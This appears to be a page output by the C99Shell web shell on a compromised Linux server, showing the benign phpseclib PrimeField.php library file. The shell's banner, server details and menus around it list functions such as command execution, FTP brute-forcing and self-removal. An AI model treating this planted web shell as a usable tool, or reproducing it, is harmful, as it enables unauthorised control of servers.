!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpseclib/phpseclib/phpseclib/Math/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PrimeField.php (2.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Prime Finite Fields
 *
 * Utilizes the factory design pattern
 *
 * PHP version 5 and 7
 *
 * @category  Math
 * @package   BigInteger
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2017 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://pear.php.net/package/Math_BigInteger
 */

namespace phpseclib3\Math;

use 
phpseclib3\Math\Common\FiniteField;
use 
phpseclib3\Math\PrimeField\Integer;

/**
 * Prime Finite Fields
 *
 * @package Math
 * @author  Jim Wigginton <terrafrost@php.net>
 * @access  public
 */
class PrimeField extends FiniteField
{
    
/**
     * Instance Counter
     *
     * @var int
     */
    
private static $instanceCounter 0;

    
/**
     * Keeps track of current instance
     *
     * @var int
     */
    
protected $instanceID;

    
/**
     * Default constructor
     */
    
public function __construct(BigInteger $modulo)
    {
        
//if (!$modulo->isPrime()) {
        //    throw new \UnexpectedValueException('PrimeField requires a prime number be passed to the constructor');
        //}

        
$this->modulo $modulo;

        
$this->instanceID self::$instanceCounter++;
        
Integer::setModulo($this->instanceID$modulo);
        
Integer::setRecurringModuloFunction($this->instanceID$modulo->createRecurringModuloFunction());
    }

    
/**
     * Use a custom defined modular reduction function
     */
    
public function setReduction(callable $func)
    {
        
$this->reduce $func->bindTo($this$this);
    }

    
/**
     * Returns an instance of a dynamically generated PrimeFieldInteger class
     *
     * @return object
     */
    
public function newInteger(BigInteger $num)
    {
        return new 
Integer($this->instanceID$num);
    }

    
/**
     * Returns an integer on the finite field between one and the prime modulo
     *
     * @return object
     */
    
public function randomInteger()
    {
        static 
$one;
        if (!isset(
$one)) {
            
$one = new BigInteger(1);
        }

        return new 
Integer($this->instanceIDBigInteger::randomRange($oneInteger::getModulo($this->instanceID)));
    }

    
/**
     * Returns the length of the modulo in bytes
     *
     * @return integer
     */
    
public function getLengthInBytes()
    {
        return 
Integer::getModulo($this->instanceID)->getLengthInBytes();
    }

    
/**
     * Returns the length of the modulo in bits
     *
     * @return integer
     */
    
public function getLength()
    {
        return 
Integer::getModulo($this->instanceID)->getLength();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0219 ]--